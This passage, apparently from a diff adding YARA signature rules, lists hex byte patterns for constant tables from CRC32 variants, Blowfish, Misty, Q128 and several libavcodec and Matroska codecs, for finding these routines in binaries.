a30000020f000001f20000019900000093000000d2000000380000010700000075000001370000004a0000001b0000001b000000050000000100000001000001d600000018000002990000029b0000027d0000027e00000326000002af0000020c0000019200000249000002a7000002610000016c0000007f00000014000001c0000000d2000000830000004c000000340000006f0000001300000189000000c3000001a00000006800000027000000260000000800000001000000010000022100000021000002da000002db000002b4000002b400000362000002c1000001f50000016d000001ef0000020000000183000000a8000000270000000200000205000000f00000009a00000056000000400000007f00000013000001cd000000f7000001da000000750000002b0000002a00000009000000010000000100000230000000280000030f0000030f000002f7000002f800000373000002ba000001d20000013e0000019400000179000000d70000004200000007000000010000022f00000103000000b00000006e00000057000000aa000000160000020800000116000002460000009500000035000000350000000c0000000200000001000001d900000027000003e0000003e1000002c8000002c9000003180000025100000175000001010000012b000000ed00000072000000190000000100000001000002c600000149000000dd0000008f00000074000000e20000001a000001ea00000103000002e8000000d20000004e0000004d000000100000000200000001000001a1000000250000040a0000040b000002d8000002d8000002ce000001fd00000128000000af000000b80000007a0000002a000000030000000100000001000003170000016b000000ff000000a8000000910000013700000023000001ec00000110000003910000012300000079000000800000001c00000004000000010000014e000000280000043b0000043c000002c7000002c8000002700000017a000000bf0000006b0000005f00000032000000070000000100000001000000010000036c0000019e00000120000000b4000000a40000017e00000027000001d5000001130000042900000195000000b8000000d8000000350000000800000001000000ec000000240000046e0000046e000002ad000002ae000001d1000000fd0000007100000030000000290000000900000001000000010000000100000001000003c5000001c300000135000000b3000000a6000001ad000000350000019e000000f90000047c000002240000012d000001b6000000a00000002a000000060000005400000011000004c6000004c70000023e0000023f000001100000006f000000170000000600000002000000010000000100000001000000010000000100000424000001f6000001480000009f00000090000001f5000000360000012e000000b700000193000000500000001800000011000000010000000100000001000001e00000005a000003830000038300000334000003330000029b0000019d000000e4000000850000008b000000620000002a0000000a000000010000000100000361000001d60000013c000000de000000ab000001a3000000d50000028500000190000002ba000000a90000003b000000310000000600000001000000010000019e000000650000037e0000037d000002f9000002f90000023100000152000000ab0000006000000061000000400000001a00000006000000010000000100000380000001ee00000157000000ef000000c0000001ed000000d7000002470000016e00000392000000ff0000005e000000500000000a00000001000000010000015900000080000003a7000003a70000029e0000029f0000019f000000de0000006900000037000000330000001e0000000a000000010000000100000001000003ba000002120000017900000112000000e80000028100000127000001c80000012a0000044f000001670000009200000087000000140000000100000001000000eb000000770000041200000412000001fc000001fb000001250000009200000041000000210000001e000000100000000400000001000000010000000100000407000002310000019700000128000001090000032d0000013d0000012d000000c0000004e7000001f8000000ee00000109000000330000000500000001000000b900000071000003f5000003f5000001b5000001b6000000d40000005c00000029000000120000000f0000000600000001000000010000000100000001000003d0000002120000018200000114000001040000039f00000165000000e0000000940000050c000002620000014c000001cc0000007f00000010000000010000008800000063000003f6000003f700000180000001800000009900000041000000190000000b000000060000000100000001000000010000000100000001000003ae000001e700000157000000f1000000ee000003ca00000166000000ae00000067000004c30000028f00000197000002bc000001180000003700000002000000640000003c00000405000004050000015100000150000000770000002b0000000b000000030000000200000001000000010000000100000001000000010000037e000001c000000131000000c7000000d5000003ed00000140000000880000004d0000044b000002a3000001b3000003cb00000245000000a80000000c00000025000000100000049d000004390000013f0000013e000000420000000b00000006000000010000000100000001000000010000000100000001000000010000039200000172000000eb0000008a00000091000003b5000000800000005e00000029000001e60000007000000027000000220000000600000001000000010000021d000000430000033300000332000002fa000002fb0000032d0000028300000193000001180000014c00000127000000a40000003500000006000000010000027800000126000000b40000008300000069000000d00000006d0000025200000127000002d3000000bf00000045000000410000000c0000000100000001000001bd0000004f00000361000003610000033000000330000002ee0000020300000122000000ac000000b80000007a0000002e000000050000000100000001000002e400000154000000d5000000a5000000810000010e000000a80000025b00000146000003740000010800000066000000670000001500000003000000010000017e0000004400000381000003810000034400000344000002ac000001ab000000e300000077000000770000004600000010000000010000000100000001000003030000016f000000ea000000b80000008f00000110000000b20000022b00000146000004040000015b00000099000000a1000000240000000800000001000000fb0000002c0000043b0000043c000002df000002df0000021d00000121000000900000004d0000003900000017000000030000000100000001000000010000039e000001a60000010e000000d7000000b00000012d000000b7000001bb000000f800000483000001d1000000e000000108000000470000000e00000003000000ae0000001b0000045600000457000002da000002db000001ad000000ce0000004f0000001e000000130000000400000001000000010000000100000001000003a1000001bb00000117000000e1000000c20000012a000000c400000162000000df000004a700000240000001280000019f00000090000000240000000800000072000000100000048a0000048a000002ed000002ed000001520000006c0000001d00000008000000050000000100000001000000010000000100000001000003b3000001ca00000111000000cf000000c2000000f8000000910000010200000098000004910000026b0000016e0000025b000000f70000005c000000170000002e00000001000004d4000004d40000030600000307000000bf000000230000000e0000000100000001000000010000000100000001000000010000000100000391000001c100000104000000d6000000c2000000b400000052000000ae00000062000003ee000002190000017d00000381000001f80000010a0000006500000027000000010000051b0000051b0000029c0000029b0000007400000003000000010000000100000001000000010000000100000001000000010000000100000497000001050000012700000046000000a40000006b0000001f0000000a0000004c0000028c0000009c000000350000002b0000000500000001000000010000017000000080000003d7000003d80000033900000339000002470000014b000000a30000005800000054000000300000000f00000001000000010000000100000366000001e00000013c000000e4000000b3000001a5000000f4000002320000015d000003dc0000011800000068000000570000000c00000001000000010000011a000000c2000003d4000003d5000002e2000002e30000018b000000bd00000050000000250000001f0000000c000000020000000100000001000000010000035e000001e90000014d00000106000000d600000258000001be0000018600000104000004980000018f000000a50000009a000000180000000200000001000000da000000e0000003f9000003fa0000028b0000028b000001180000006f0000002a0000001000000009000000030000000100000001000000010000000100000313000001d5000001440000010d000000e5000002ae0000025b0000010b000000c20000052700000212000000ff0000010c0000002f000000040000000100000071000000b70000047d0000047e000001cd000001cd000000ad0000003a000000110000000500000003000000010000000100000001000000010000000100000300000001c20000013100000105000000dd000002cc000003430000008800000061000005520000029d00000163000001d10000006800000009000000010000004c00000099000004e5000004e50000018e0000018d000000660000001500000005000000010000000100000001000000010000000100000001000000010000025400000173000000ee000000e4000000c400000294000003ba00000044000000350000054a000002e5000001be000002be000000ae0000000f000000010000002600000057000005da000005da00000126000001260000002b0000000700000001000000010000000100000001000000010000000100000001000000010000017d0000011b000000a5000000b50000009b000002200000040f0000001900000015000004ee0000037500000222000003b3000001070000001200000001000000120000001b0000077400000774000000a3000000a20000000e000000010000000100000001000000010000000100000001000000010000000100000001000000c300000098000000530000007d0000006d000001690000033b0000000700000005000009eb000003b7000001710000022a000000d400000012000000010000000100000001000008f2000008f10000004000000040000000010000000100000001000000010000000100000001000000010000000100000001000000010000001200000012000000090000003700000024000000b80000014300000001 }
+
+condition:
+	$a0
+}
+
+	
+rule zinflate_distanceExtraBits__16_big_60_
+{
+strings:
+	$a0 = { 0000000000000000000100010002000200030003000400040005000500060006000700070008000800090009000a000a000b000b000c000c000d000d }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_DV_dv_vlc_run__8_byt_409_
+{
+strings:
+	$a0 = { 0000010000020100000304000005060201010000000708090a0304020101010000000000000b0c0d0e050603040202010000000000050303020101010001060403010101020304050708090a070804030202020202010101000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007f }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_Chinese_AVS_video__AVS1_P2__JiZhun__dequant_mul__16_lil_128_
+{
+strings:
+	$a0 = { 0080dd8c3898ffa505b567c58dd808eca480968b3898ffa561b467c545d71deaffff968b389851a605b5b9c5f3d6c1ea2980968b3898d6a52eb590c545d798eaffff968b3898ffa5f0b453c545d7aceaffffa08b3898ffa505b567c53bd7b7eaffff968b3d9804a605b567c545d7c1ea0380968b359801a605b567c545d7c3ea }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x3b6e20c8__32_big_refl_False_
+{
+strings:
+	$a0 = { 000000003b6e20c876dc41904db26158edb88320d6d6a3e89b64c2b0a00ae278e01f2688db71064096c36718adad47d00da7a5a836c985607b7be4384015c4f0fb506dd8c03e4d108d8c2c48b6e20c8016e8eef82d86ce306034af685b5a8fa01b4f4b5020216b986d930ac056fd2a08f6f7c870cd99e8b8802b89e0bb45a928cdcefb78f6a0dbb0bb12bae8807c9a20207678581b18589056aa39c86dc419002dd1ddf016bffd385b0d9c606063bca8c0695ed0fb077e18b6b51f408ddb3f88369e96a00df0b6684042d7307b2cf7f8db261580e0483548adfa5410969474d8d681b028edef90e0a05df1b89b33d1703b393308005713c04de57298768b5250a0f3d6389b9df6f0d62f97a8ed41b7604d4b5518762575d03b97148800f9344040ecf0b07b82d0783630b1200d5e91e8ad547390963a5358db883200e0e612c85ba3bbe060cd9b282d7ffa701611dab8b61b38c08d751808c0c77950fba95998bbbc9d6880d2bda0cd60dcf8f60efc3056041e486d6a3e8020d85fd81bb67f106d3d2d4056530d881be16cd0208f4c188085ae60bbeb8ea8f659eff0cd37cf388d220bc8b64c2b00fbfe4a58c0906a90609a88e85bf4a8201646c9782d28e9b0966d4098ad036050e0b10108dbdf21c07bd5c3b840bbe3700d0982283667a2e0767266104d1c46d800ae27803bc007489bcae530a0a4c5f8ed16a4a0d67884687a898cb841e7ac700c55cd28373bede097310f98ac5f2f50e1ed4e08da836ec09a96aa30a1f88af8ec4aeba0d724cb68772e29104c4009d801f268803a9c484881d9e160bab7c1a8f705a0f0cc6b80386c616240570f42881abd23d021d3031861c6c7e85aa8e720171a86782c74a6b08c7e44c8b7106400faa20558c1cc2590b74777c08c295708c19b3650faf516985afff4e06191d4282c23b570174d95b8575851486c367180218410d81aea3010bae0d268818ef2a0cc3c93f8f752b3304c171a1877793ad03acb5b8801a57b40a1af99389ac1b9f0d773d8a8ec1df860ac083c9097661c58dad47d00e1ba5dc841b0bfb07ade9f78376cfe200c02dee8da7a5a80e1147a48aca61b1097c83bd837c2d9a00cacf968411e98307a70b8f83a657c08010b5cc04cb93d9877d71d50d7ddff28ecb3dfe0a101beb89a6f9e70212a37581a44179057f676c86c985600cc92b478f7fc94b0ba4ef5e88120d520c13511d0fa5b3118b7e950408c8770882c8d92f017e3b2385a51d360613ff3a817b4a1f82cda81306168e0685a06c0a0fa0c22d8c16202108cd06348b7be4380f7ab8770ccc5a7b88177c6e0ba19e6281a130450217d24986ccf45c057a16508ece4cc20d78aece89a388db0a156ad78015c4f003a326fc877800e904cee2e580cfbeaa83795ca607a27ab3841498bf0e1436988da2d4940979f2818acf108d0 }
+
+condition:
+	$a0
+}
+
+	
+rule Windows_CryptHashData__8_byt_STR_14_
+{
+strings:
+	$a0 = { 4372797074486173684461746100 }
+
+condition:
+	$a0
+}
+
+	
+rule _Point_Equiripple_FIR_Low_Pass_Filter__flt64___64_big_128_
+{
+strings:
+	$a0 = { bf83e82effa72792bf858a75e00d0db3bf8118bcde6eeb023f43345fa209d2273f8ace83e13f834a3f9639e4df2f7e5c3f92dbad3f87b8173f36439b2cb912febf9ab4a39fd2a4c5bfa7532a2044560cbfa4a319a00f29943f407b54d76a2c103fb2ab4c1fdb6b0a3fc41f28a00067b93fccc3ea5ff99d8d3fd008c80009652f }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_sfb_8_128__avcodec___faad___16_big_30_
+{
+strings:
+	$a0 = { 00040008000c001000140018001c0024002c0034003c00480058006c0080 }
+
+condition:
+	$a0
+}
+
+	
+rule Q128_ftab__32_lil_4096_
+{
+strings:
+	$a0 = { 3226d9d64d40845e8212344f064b65710b6a8dd4c4ec5b24804df8c8c920c622028baa66ff97c60a365a758b1c937725b6178d43d11b7bbb1ef5a8e03d58fdf495ebcebeaec145792896ce29cd65793db9bdcf80255a532fbda966764b32f26d061a73984424d3e455af5f26275489415ec5d2f20f935181a388a877329aba9c9c62eca704f9dc5579915bb32ee4b81a2780efa0de5c4cdbd3a9c29f392451a95ccb089cb692fd4b7fda3ec2e1337803917a17406735e5ba65d64a77d344b73caa018a6ee3b8d2652aa10705cbc369efd70108238fe7ba0b360b63625a806dedbf9eaf5ae7781d72ded93cd36cda186642eac69d822b270d65ef59350beffddcb471528684dc21367f665d885182e5923b7b9d2e005116e9183bbd998683edb125325684cbab6c441523467e1eccbba2c0a9e43b76020a32e10a6b41e355a7c6dc03805c4282c3367b23e29761aae62aee25598aaef8563b93f1bd26a35cce965a051de563f52aad11da9a2bbdf8709f9a789f3f614793898f0acfa83b2a8bc7c4845e8f5e79b1b834e8ccaf8941aad9118b8cc215a63676309460f244a1a3ec76be69782e61c81221cb8ad11cc261cc34d1dfedcbfa7aadcd5c6a7f5a540b0ce88349589c8f99040b539e96e1e71ee2dceef5ffc2cf3bfebd7d0097aa84fa6600ed75a3cde0093530c5761b763b1970da20e0869e6c36c927d1f94982c652aefda00f2657c980e3258e35ce914304024498b0ae40e41cf3cf86d6f0e3e9c48c53b52cbedc3a931ea7a512c3fb57091dffffc3a1b28654bd1e70d8e86c5f686e5e94c41b639d2f068d3d0684f0b8f4c1346dbca7da19f3c4a15214f8a57fae4c9506bb1db6469baa28afdd6b1166f9613f56279ab984dcc225e63065634949e7da71f66f982753b846966ac0da9c83cc0bd6ee9e5a3c0ea7678986f0394c5402025fcc87bfcfb9b3ac1bf9f6a3e0addcf004978b934dde6c93c8ae648459513e51d3f37b4207b33e3de49ebee8d25fb16c667b2c1e21ce0106f7063becffe505aabde924e5a2a1fdd8ab4ae06e00a4e9b62e9e01fdc80a8df959d3739e81436aa80f5000ae2c30da28c7d8c0585ad162b969a961b26b211ec6db920876877a3a159f2534689fa779d12268f90b02887f9ce79caf70707c01095d44f8bbb315ee919762e39e3d202009354153b49c2725848d37df0f16218927059fa849053b410da498ad863f8efb000000002c0717d7133935e6d5dbb4ac6a140d1f1c4711c42e09cdb98f5bd94142bbd0741c7e0286c07d82da95bad857866e98128978b99bf03d84c9e83f2a126aa86e553f6f34d87fb23b69a13a11539eb850289c0ae90ce86e3cfbe7fd6d7a76ef7f910ffb542a8fb6ace2ec2b83e4fd257f2ea10302111e49cbaa17a8ec1865875c9ee5f3b7149ee946c1552a2f2e44c9a647b950ba23c0f8f2d22e30defb7d5194a41a0c74b58929af7213bc45ee493c2803727ea66f1a3567f7e8ba5a1aa1867219cb4619e7bb67730f15ce33ddf960c03172fbd667ec97e0aef0e9e228a517abe7a16b07badacd9525653b3fd472c2c52546131ac86a917d174f265b9b00d466e1a3d9be9e7b72f47ed7381b61ac73fc5df25b5b0c3b96e88d9325dbc73f3e2231840847d7a748676074e1a5ff86bafef35724f5406ebcc7a365be4fdc9e043362d7d56ec2ec43864f9cb68a46cf6ba353acf68c552c3e049598ca261b91ff6748931cc885fb3f0cb6a71971896eedd14aeab4807427e8ea0b51bbf6d0408c195811e38969fb6e1a5fd7bd6b690fc24768fd1c6c6c7435c31ec24a4bf6fb061ff46e51b20055964c644be6948cc4d54866b6c3eba2cb2e1c4cdc6b85f789acdf7a39f037482ac902aea3b1bb352a7561e47464d5f706a610d2c0158771d55ec4a4cf3ab5ba2328251c617e80cb02e3afcd701879aa49b9580be1de0da0c919d560c68a84e14f1f48d979a848f13bc7fe64151a553c3454afe5bb5e604d63705aa5bd15053c3d09eb1dec7a950dea08e33e7293d3ccb0888ed3981e40fa6c8b0e8f98a223b097dc07922c6f127c513e86d8c4bd4dcd4fcb2e38368e136a467b1f63098922198b27751c2e58db50069f0390ff7ab3a9a5c3cd0646420c21aad5ec8f09e127b20b3b9b3de8572fb9115fea23deb13978b901acca40307a12f6ca82f25107959ab4f4228efb836ffc4dc5f45604a8cabc7d39910f61168560d7ec7d808f33dcea9876455115f7209f827a31e44256a5d7989b30f2f4292d3f911212eb1802aedbb034ed998bf313fd18becd91366366c9978d117bf2de2b04f28f3dedaccf9f17282aad631853b832aaecffcd4f774d72801cee216e68a142a7f4042a426fb695f4fd4bdeaea940d2c6e2814a49542da8f4103e7d7f374b615e40a2fa3277cf3f68ceb1903ddd8dfc9399b88ddcbfe316d19e0bb3eea02982343caa4e40dd0fb1e5caa4564b63e484e79568d1c450386e843154952eddab58fbba7cbe2842a8c86872d2da76531cdb681ad77174d8b6bd574cf0eb42d3d5df55422a855c776bd66a7c08b4c971d0cb391d42eb7b9f81dd444cd64f4f4e5e309a418c7d97e514d032a3a9de4d79971cd58aa245f0558162dee02f911e18dd43f64ff2fa9c33fa4e21f299930d49ed0e042dbab457f093a1f4412894a8db36e10d18fbe7237933f58910bc30aca79abc3baffbcf8de96065c02c94335798960a3db5885736327020516f9031f2335ea7f6a28759eef13f6b0266dfc5d89259a2f0d0f16ab2ee5116953fa85ff931d6d8b0e08b78956ebeb639a121a1cfd7c019d8fa5c091ea4be09c4012e87557b39c7766a0f991ae1011604c0cf1768a6b43b287bbb8a11b29f80321fca94a1ee77b293a0abcf30fc6559f908c59a65533a7f0d9d8bef9afdef379a109a947ba6929fc0c1e190670cf6f8462a098acf03a6f8792d38f91c2f146f1791ff5a7dd4e4acac9e89fe984f561368f7a2d2d3f8d476709d09a26ed4c208003913427dbce1079557adf47dedf7ee4fa32b93ae7d2633110efccae304b12fe8063950c29e2d176a451bf6020eda6ef262484e6c376dc5d14a6d52a85e46e90df58e44496d3eea3fbb52399374cd2ebb8a06ac5eadd7596c0e7e87c6b397a30dcc9d06f4783bd6ea31f07cd1f60e18d7501ecaeadc85df8db8768ce1626eea70f50c09f20a4de5cfbfc5b24dfce714234020b7d37da47ebf1bdf524bb78265ecaef3ecee993ac0bd2c167eb0d9983a4475c50da8e225a3154b43d57d6887e6a7cd17682563406d2a981447797c2e10c2f628bc18efdb78c9a5b62ac9f4a0c35c1f6e7df4c4589c28fecb822813be21fbeb6a571cfb728e2a4c72a6f2e73846d784782b39754740b2d74254273c8cea23ad55148dd07327e7c47e3818d6c83ad8c34f4bbfa7bc18588eb7836764f35325df232763214c4c3b1398850445bf1f4b0be12f46c77c2934b9da4623944656fd991c640d70fe4c9e55258b6a2d1e5d6af978bc02b2b92463cc39ef36e616c1c0449198a592dbefc2224e5dc99ca5680b87f8774ff23d7a423ea07c23fc43fdb065fb70ae90539063a43c448d6c106d53dd29158995cc3898f335598d55032ff676e1b830ad73b08b1e665e090c521153e43a5725b7268cd390d1dd15725097e381c12782ae57052eb5aef3bd4413d5eae5969dc667f142441dc0a6ae1523987f8b282b91ae71a1d32cb297b0b19d915e11b4137bf784760faa42c3a88a2008008570089c5bffe55a6d184e36b70028d315a1d57216a3c43d8c9b156ac06bfecd0d7c96d5b3b107d8463f43b67f88e85ae868467d85f245b9d5ca2ba365ddd42126ff7286069db972aac08eda48e52d70a41ae09ed055832311365ebb3665e653614a5f047cac5d7f0e5823b20324b589fdc9933d61eeb64b5af7c6de882a3a186aab701351304d61fbf0c30f7e24228fdea94955c75a8dea60e69580c888c0250b45c6b23a37f7bff6aaf17b4be73c4dadf1fdee744f63c636e7ab70496f4300bc634a5c4e78944b8e9127e7410e302177e99bb00dfedb9cde8fed61c2e3810491d9fe6823c433e54fd45e13ed5307ecc6f647de3449700237c92cff12b6025c267d3fbb0f76a440b50a1ab6abee09a5abc8adf61ee413b938bf88e71018d979453d52b4a534675ca30d37cdb11fdc3480c9047247b52dd50fd24d722fb086174599bb3fea44d089c4dad157a1854897b4023958b7a4c1d536c10f1ab017ff67e1835b21a38f7afbd27915ff43a0eb400969507fe32d80824322a680a08d6b91c6740a84e5327417148f520d21e8a51137ef889759779a3405b90ceec82c29829744475863c2208d0415c6d81729aa49804b49e36cb48497086173f9dca37bbbdb10456193f56846af79821a8904bd4bdf87cec2a73e550f2f32cb1a5d625c2a1d644fde0d5a32cb7f0aa5cf52b0115358591d8b7663f5684bc198656a293d5cf21bde2cd37136399832e34d2881f532f2bf379aacf9dedaa5908ef4954e7509b0315bac22eab4ae4435718d8165cecb927f0651eae0395efcc1b0ee1c4ac858dfa16ac60ff4e917f9faf13040061344f0b505a836434239c9240ab44841c4b420446f5ad17b04f9e5b039580bc78b63185f0e4f9a38d1f2b62eaf5832d4c9d1737e10c948c3899a95ea9c675de01179142bbb51568373e8eb4cf376d66cd313d44045740cd05c97317231d5e2a7ee1368230fc9cdb381a30dd87fea59f5d78f62ca03a334cb3d06727633c4692b2cf627f75180f19b82276d9a038b9b16567d00824d84b4249ddcd7e6bd219a9c38b9ecd9694d1192b7a5fade4402dabc8ff98db59265022c96fdf119cf2cea6274a7717422c4383dc53fd35792b05ce8326e39b7ab211fec3086d2fb58a1bf615b6ce30b248b4f70b7ec1290a6c21b5d1f36df058380999e293d30f85faa698fc5324edc7dd567d7e6d7690d88cd346fd4b2bf47ff612f96225775e3a9301110faf081e78355fe49cf95d2ddfc1c16072dd82e3ae87f5f4eca9ac4fc7506ce1579dc86f054912b01a9a546bd0e2c8267df214efad95ab97eafa79c0181d1a718f1c65ee200e7290b9b27b9fce22af011ecfd4d7a857bce9734f69b941b2cbb749db4cd31ccffc6d0e38bca00bfea8d933674b0b316e3d0d7ce0f4737606cb21dcde33da26dbf4ac9bbd1cf1d5afd7469c749d15da009d834f0130026a4f6f391b0a52eb8a5daf486671e9dad4b1a64711edc5296b5096457ba2e8cbdb1b419572d3f073173138556ac40587fb923c550bfbbe203071caa6467f06c9220d87f2c01e576c71ccd880c9ede655f9953094ff470216ae8ac4aef1f8460427ccdd91a77aa38992c302803b8a8b3334a5c9a1e75bdc163ddc090f779307915517b1af1d5976064d8a72062cb9a2989d6aa509c87e51ec2b770cc1f4be1b6080b58e6b22867b095b2006805ab32cbac75e59bb2bfe527d1f53b428e6c46fe6f6bee4d5c21bf73daf93f82417bffaed5488ba205144d94e2bfbd907534c27358b453305cb68f8fbfa0e7ac7b9386ebe81aff2ba54049e84ee21887ded355133c6c67d890197489a054f4ac5d3786578b508025fd63177c8af9d3c1c734f9b4a6d02c56013e79f95e181ad81254745dc6b53bfeed260bbeeb35571de6029583cb15cb170f0e538c3ffc79c04d5ab6faf8e0cfeed35b6e85d4e18074eb8ab252325ca86755ab40616cfb17c0e9b382ff41eca1d764f0e18f1b49e15b7da8bf22cc100414a9f62a24770d062360da5e28a751172d9c10 }
+
+condition:
+	$a0
+}
+
+	
+rule Blowfish_bfp_table__32_big_72_
+{
+strings:
+	$a0 = { 243f6a8885a308d313198a2e03707344a4093822299f31d0082efa98ec4e6c89452821e638d01377be5466cf34e90c6cc0ac29b7c97c50dd3f84d5b5b54709179216d5d98979fb1b }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_AC3_vq_hebap4__16_lil_372_
+{
+strings:
+	$a0 = { EC190FEE5D376FBC75BF60034A0E0C5868001DF9ACFF06004C5469BA8EE3D9F9E2F7C0FE47F7212758F55A3AB8CA05BBE4F9B6BA27B5A735C50A870BA8118615E11C2F2A1F4B36CA8F01A00BB5FB951379FB4F56280EC9F6481242F7AE58B50E97EFA3DF66E59ACF12B8163CB2EB2BE5C1D854DF6AC1AEAF72FF71A790FE271130FEF3FF2E03A2FBBFFBFDA94A001106AEF9164B16BB4ECB4A03FBF651126A404D51E5C3BCEF80F014F3CE2B1ACB1F35EFB3CA3519075603E9523AFC95F9F4FEE5F595FF46B178019604D0FE99F4C501F2EAEE02EEA92EFCBCB5C741102704F2A308B30553059EF5DFFF1DF08D041FAA70DE38F590BB8FC1313A2B058C028DDBB50CE2C6952FEC4C27E78D16DDC38B43CE4096F46BFDA7FD49065258E003EBFB61139323D92B951EC03FC34890AA67FA8A00BE059DF83CFFD5B3E5B8302BFCFDEF0937F754FB5ABBB64EC62C6FFE3B0A1E1226E0732E71C2CF4495C5ADFF16014301370066FFE8006C1EB605DB47C03B6DC295FB }
+
+condition:
+	$a0
+}
+
+	
+rule t_class_16_lo0xE382__16_lil_512_
+{
+strings:
+	$a0 = { 000082e3d3975174717ff39ca2e8200be2fe601d3169b38a938111624016c2f513ad914ec03a42d962d2e031b14533a6f15373b022c4a027802c02cf53bbd158f10a73e9229da07e8075029653e2d10113f49117c0634280628be068b11c33ffe2a760443130b3d393d8113b404fc2ac005982bad3ce512d7126f3c5a2b12052e21560f63182b361936a118940fdc21e00eb8208d37c519f7194f377a20320e0f1b8735b222fa0cc80c702245350d1b3134691a5c0d142326239e0dab1ae334d131f91fcc088426b6260e083b1f73314f1e173022276a095809e027d5309d1ea00b28251d32551c671cdf32ea25a20b9e24c60af31dbb338933311d040a4c247c42b46c817bc955fb55437b766c3e42026d5a436f54277a157aad549843d06ded7865565041186f2a6f9241a756ef78d3578b79be6ef640c4407c6e4979015733521b7c2e6b66455445ec6bd97c9152ad7df553c044886aba6a024437537f7d4268ca46ff51b77f857f3d51084640687c472469117e59506b50d37ee669ae479263ea4ddf5a9774a5741d5a284d60635c4c04623175795b4b5bf375c6628e4cb3593b770e60464e744ecc60f977b1598d76d558e04fa8619a61224f17585f766d73455d704a38640a64b24a875dcf73f35cab729e65d64be44b5c656972215c1c499467a170e95edb5e637056671e4922667a484f5f077135718d5fb848f066c }
+
+condition:
+	$a0
+}
+
+	
+rule libmpdemux_Matroska_cook_fl2bps__32_big_136_
+{
+strings:
+	$a0 = { 000003e800000562000007e800000a1800000fa50000158900001f4a00000fa5000002ee000009c200000fd00000158900001f4a00002ec500001f4a00000a1800000fa50000081300000a1800000a1800000fa500000fa5000015890000158900001f4a00002f1b0000060e00001f4a00002f1b0000158900002ef0000040180000597f000082e2 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x9b64c2b0__32_big_refl_False_
+{
+strings:
+	$a0 = { 000000009b64c2b0adad47d036c98560c03e4d105b5a8fa06d930ac0f6f7c8701b185890807c9a20b6b51f402dd1ddf0db2615804042d730768b5250edef90e03630b120ad5473909b9df6f000f93440f60efc306d6a3e805ba3bbe0c0c779502d28e9b0b64c2b008085ae601be16cd0ed16a4a07672661040bbe370dbdf21c06c616240f705a0f0c1cc25905aa8e720ac5f2f50373bede001f268809a96aa3077793ad0ec1df860dad47d0041b0bfb0b74777c02c23b5701aea3010818ef2a05a51d360c13511d0f7fc94b06c9856009a6f9e70010b5cc037c2d9a0aca61b1041498bf0da2d4940ece4cc2077800e908177c6e01a1304502cda8130b7be4380d8c2c48043a60630756f8350ee0b41e018fc899083984b20b551ce402e350cf0c3da9c1058be5ea06e77dbc0f513197003e4d100988013b0ae4996d0352d5460eef275a07596b710435f3270d83bf0c02ecc38b0b5a8fa0083617f601805bdd0f5ea2d306e8eef8058476ae0c323a85035d46020aeb0a290987927f0031de540b4a3a6c02fc76470190ee110826a23a0749debd0eff92960d930ac0042546eb0afbbfe5034df3ce00216b98099727b306f85b340f4e171f0c228f490594c3620829317e019f7d5502f3e5030b45a928042ad5af0d9c99840ef001d207464df90998b4f7002ef8dc0342608a0af42ca1059b50260c2d1c0d0f41845b06f7c87002ae14bb0b1858900874c0c601c28ced0eadf06a071bbc41047724170dc1683c031f91320aa9dd1909c5454f007309640f1c75e306aa39c805c6a19e0c70edb501cd1fa9087b53820b17cbd402a187ff0dcefb780478b75307142f050ea2632e007c9a2009cad60b0aa64e5d031002760c7f7ef105c932da06a5aa8c0f13e6a70468029f0dde4eb40eb2d6e207049ac9086be64e01ddaa6502b132330b077e1805d987160c6fcb3d0f03536b06b51f4009da63c7006c2fec0300b7ba0ab6fb91070b098d0ebd45a60dd1ddf0046791db0b08ed5c02bea17701d239210864750a06ba8c040f0cc02f0c60587905d614520ab968d5030f24fe0063bca809d5f0830f2238f3069474d805f8ec8e0c4ea0a50321dc220a97900909fb085f004d44740e93bd7a0725f151044969070dff252c029059ab0b261580084a8dd601fcc1fd0c4133e105f77fca069be79c0f2dabb70042d73009f49b1b0a98034d032e4f660df0b6680446fa43072a62150e9c2e3e01f352b908451e920b2986c4029fcaef09e42ed7005262fc033efaaa0a88b68105e7ca060c51862d0f3d1e7b068b52500855ab5e01e3e775028f7f230b39330804564f8f0de003a40e8c9bf2073ad7d90a8725c5033169ee005df1b809ebbd930684c1140f328d3f0c5e156905e859420b36a04c0280ec6701ec7431085a381a0735449d0e8308b60def90e00459dccb0 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_celp_math_tab_log2__16_lil_66_
+{
+strings:
+	$a0 = { 0400b305360b9010c415d31abf1f8b243829c72d3a329336d13af83e0643ff46e24ab14e6c521456aa592e5da260056459679e6ad46dfc7017742477257a197d0180 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_celp_math_exp2a__16_big_64_
+{
+strings:
+	$a0 = { 0000059b0b551130172b1d48238829ea3070371a3dea44e04bfe53435ab062486a0a71f77a1182588ace93739c49a550ae8ab7f7c19acb72d581dfc9ea4bf507 }
+
+condition:
+	$a0
+}
+
+	
+rule Misty_s9__16_big_1024_
+{
+strings:
+	$a0 = { 01c300cb0153019f01e300e900fb0035018100b9011701eb01330009002d00d300c7014a0037007e00eb0164019301d800a3011e0055002c001d01a201630118014b015201d2000f002b0030013a00e501110138018e006300e300c801f4001b0001009d00f801a0016d01f3001c0146007d00d1008201ea0183012d00f4019e01d300dd01e2012801e000ec005900910011012f002600dc00b0018c010f01f700e7016c00b600f900d801510101014c010300b80154012b01ae00170071000c00470058007f01a4013401290084015d019d01b201a30048007c005101ca0023013d01a70165003b004200da019200ce00c1006b009f01f1012c018400fa019601e10169017d00310180010a009401da0186013e011c0060017501cf00670119006500680099015000080007017c00b70024001900de012700db00e401a9005201090090019c01c1002801b30135016a017600df01e5018800c5016e01de01b100c301df003600ee01ee00f000930049009a01b6006900810125000b005e00b4014901c70174003e013b01b7008e01c600ae0010009501ef004e00f201fd008500fd00f600a0016f0083008a0156009b013c01070167009801d001e9000301fe00bd0122008900d2018f00120033006a014200ed0170011b00e2014f015801310147005d011301cd007901610